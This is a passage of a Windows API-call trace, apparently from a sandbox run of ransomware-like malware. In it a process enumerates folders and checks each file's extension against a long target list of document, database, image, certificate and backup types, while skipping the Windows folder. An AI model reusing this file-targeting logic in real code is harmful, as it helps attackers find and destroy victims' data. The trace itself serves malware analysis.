	[0167.788] lstrlenW (lpString=".java") returned 5
	[0167.788] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0167.788] lstrlenW (lpString=".jp2") returned 4
	[0167.789] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".jpc") returned 4
	[0167.789] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".jpe") returned 4
	[0167.789] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".jpeg") returned 5
	[0167.789] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0167.789] lstrlenW (lpString=".jpf") returned 4
	[0167.789] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".jpg") returned 4
	[0167.789] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".jpx") returned 4
	[0167.789] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".js") returned 3
	[0167.789] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.789] lstrlenW (lpString=".jsf") returned 4
	[0167.789] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".json") returned 5
	[0167.789] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0167.789] lstrlenW (lpString=".jsp") returned 4
	[0167.789] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".kdc") returned 4
	[0167.789] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".kmz") returned 4
	[0167.789] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".kwm") returned 4
	[0167.789] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".lasso") returned 6
	[0167.789] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0167.789] lstrlenW (lpString=".lbi") returned 4
	[0167.789] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.789] lstrlenW (lpString=".lgf") returned 4
	[0167.789] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".lgp") returned 4
	[0167.790] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".log") returned 4
	[0167.790] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".m1v") returned 4
	[0167.790] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".m4a") returned 4
	[0167.790] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".m4v") returned 4
	[0167.790] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".max") returned 4
	[0167.790] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".md") returned 3
	[0167.790] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.790] lstrlenW (lpString=".mda") returned 4
	[0167.790] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mdb") returned 4
	[0167.790] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mde") returned 4
	[0167.790] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mdf") returned 4
	[0167.790] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mdw") returned 4
	[0167.790] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mef") returned 4
	[0167.790] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mft") returned 4
	[0167.790] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mfw") returned 4
	[0167.790] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mht") returned 4
	[0167.790] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.790] lstrlenW (lpString=".mhtml") returned 6
	[0167.790] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0167.791] lstrlenW (lpString=".mka") returned 4
	[0167.791] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mkidx") returned 6
	[0167.791] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0167.791] lstrlenW (lpString=".mkv") returned 4
	[0167.791] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mos") returned 4
	[0167.791] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mov") returned 4
	[0167.791] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mp3") returned 4
	[0167.791] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mp4") returned 4
	[0167.791] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mpeg") returned 5
	[0167.791] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0167.791] lstrlenW (lpString=".mpg") returned 4
	[0167.791] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mpv") returned 4
	[0167.791] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mrw") returned 4
	[0167.791] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".msg") returned 4
	[0167.791] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.791] lstrlenW (lpString=".mxl") returned 4
	[0167.791] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.791] lstrlenW (lpString=".myd") returned 4
	[0167.791] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.791] lstrlenW (lpString=".myi") returned 4
	[0167.791] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.791] lstrlenW (lpString=".nef") returned 4
	[0167.791] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.791] lstrlenW (lpString=".nrw") returned 4
	[0167.791] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".obj") returned 4
	[0167.792] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".odb") returned 4
	[0167.792] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".odc") returned 4
	[0167.792] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".odm") returned 4
	[0167.792] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".odp") returned 4
	[0167.792] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".ods") returned 4
	[0167.792] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".oft") returned 4
	[0167.792] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".one") returned 4
	[0167.792] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".onepkg") returned 7
	[0167.792] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0167.792] lstrlenW (lpString=".onetoc2") returned 8
	[0167.792] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0167.792] lstrlenW (lpString=".opt") returned 4
	[0167.792] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".oqy") returned 4
	[0167.792] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".orf") returned 4
	[0167.792] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".p12") returned 4
	[0167.792] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".p7b") returned 4
	[0167.792] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".p7c") returned 4
	[0167.792] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.792] lstrlenW (lpString=".pam") returned 4
	[0167.792] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pbm") returned 4
	[0167.793] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pct") returned 4
	[0167.793] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pcx") returned 4
	[0167.793] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pdd") returned 4
	[0167.793] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pdf") returned 4
	[0167.793] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pdp") returned 4
	[0167.793] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pef") returned 4
	[0167.793] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pem") returned 4
	[0167.793] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pff") returned 4
	[0167.793] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pfm") returned 4
	[0167.793] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pfx") returned 4
	[0167.793] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".pgm") returned 4
	[0167.793] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".php") returned 4
	[0167.793] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.793] lstrlenW (lpString=".php3") returned 5
	[0167.793] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0167.793] lstrlenW (lpString=".php4") returned 5
	[0167.793] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0167.793] lstrlenW (lpString=".php5") returned 5
	[0167.793] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0167.793] lstrlenW (lpString=".phtml") returned 6
	[0167.793] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0167.794] lstrlenW (lpString=".pict") returned 5
	[0167.794] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".pl") returned 3
	[0167.794] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.794] lstrlenW (lpString=".pls") returned 4
	[0167.794] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".pm") returned 3
	[0167.794] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.794] lstrlenW (lpString=".png") returned 4
	[0167.794] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".pnm") returned 4
	[0167.794] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".pot") returned 4
	[0167.794] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".potm") returned 5
	[0167.794] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".potx") returned 5
	[0167.794] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".ppa") returned 4
	[0167.794] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".ppam") returned 5
	[0167.794] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".ppm") returned 4
	[0167.794] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".pps") returned 4
	[0167.794] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".ppsm") returned 5
	[0167.794] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".ppt") returned 4
	[0167.794] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.794] lstrlenW (lpString=".pptm") returned 5
	[0167.794] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0167.794] lstrlenW (lpString=".pptx") returned 5
	[0167.794] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0167.795] lstrlenW (lpString=".prn") returned 4
	[0167.795] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".ps") returned 3
	[0167.795] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.795] lstrlenW (lpString=".psb") returned 4
	[0167.795] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".psd") returned 4
	[0167.795] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".pst") returned 4
	[0167.795] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".ptx") returned 4
	[0167.795] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".pub") returned 4
	[0167.795] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".pwm") returned 4
	[0167.795] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".pxr") returned 4
	[0167.795] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.795] lstrlenW (lpString=".py") returned 3
	[0167.795] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.795] lstrlenW (lpString=".qt") returned 3
	[0167.795] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.795] lstrlenW (lpString=".r3d") returned 4
	[0167.795] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.795] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.795] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.795] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0167.796] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.796] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.796] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.796] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0167.796] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.796] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.796] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0167.796] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0167.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ") returned 56
	[0167.797] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ") returned 1
	[0167.797] lstrlenW (lpString="cs-CZ") returned 5
	[0167.797] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-CZ") returned -1
	[0167.797] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ") returned 56
	[0167.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.797] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.797] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.797] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0167.797] lstrlenW (lpString=".1cd") returned 4
	[0167.797] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.797] lstrlenW (lpString=".3ds") returned 4
	[0167.797] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.797] lstrlenW (lpString=".3fr") returned 4
	[0167.797] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.797] lstrlenW (lpString=".3g2") returned 4
	[0167.797] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.797] lstrlenW (lpString=".3gp") returned 4
	[0167.797] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.797] lstrlenW (lpString=".7z") returned 3
	[0167.797] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.797] lstrlenW (lpString=".accda") returned 6
	[0167.797] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0167.797] lstrlenW (lpString=".accdb") returned 6
	[0167.798] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0167.798] lstrlenW (lpString=".accdc") returned 6
	[0167.798] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0167.798] lstrlenW (lpString=".accde") returned 6
	[0167.798] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0167.798] lstrlenW (lpString=".accdt") returned 6
	[0167.798] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0167.798] lstrlenW (lpString=".accdw") returned 6
	[0167.798] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0167.798] lstrlenW (lpString=".adb") returned 4
	[0167.798] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".adp") returned 4
	[0167.798] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai") returned 3
	[0167.798] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.798] lstrlenW (lpString=".ai3") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai4") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai5") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai6") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai7") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".ai8") returned 4
	[0167.798] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".anim") returned 5
	[0167.798] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0167.798] lstrlenW (lpString=".arw") returned 4
	[0167.798] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.798] lstrlenW (lpString=".as") returned 3
	[0167.798] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.798] lstrlenW (lpString=".asa") returned 4
	[0167.799] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".asc") returned 4
	[0167.799] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".ascx") returned 5
	[0167.799] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0167.799] lstrlenW (lpString=".asm") returned 4
	[0167.799] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".asmx") returned 5
	[0167.799] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0167.799] lstrlenW (lpString=".asp") returned 4
	[0167.799] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".aspx") returned 5
	[0167.799] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0167.799] lstrlenW (lpString=".asr") returned 4
	[0167.799] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".asx") returned 4
	[0167.799] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".avi") returned 4
	[0167.799] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".avs") returned 4
	[0167.799] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".backup") returned 7
	[0167.799] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0167.799] lstrlenW (lpString=".bak") returned 4
	[0167.799] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".bay") returned 4
	[0167.799] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".bd") returned 3
	[0167.799] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.799] lstrlenW (lpString=".bin") returned 4
	[0167.799] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.799] lstrlenW (lpString=".bmp") returned 4
	[0167.800] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".bz2") returned 4
	[0167.800] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".c") returned 2
	[0167.800] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.800] lstrlenW (lpString=".cdr") returned 4
	[0167.800] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.800] lstrlenW (lpString=".cer") returned 4
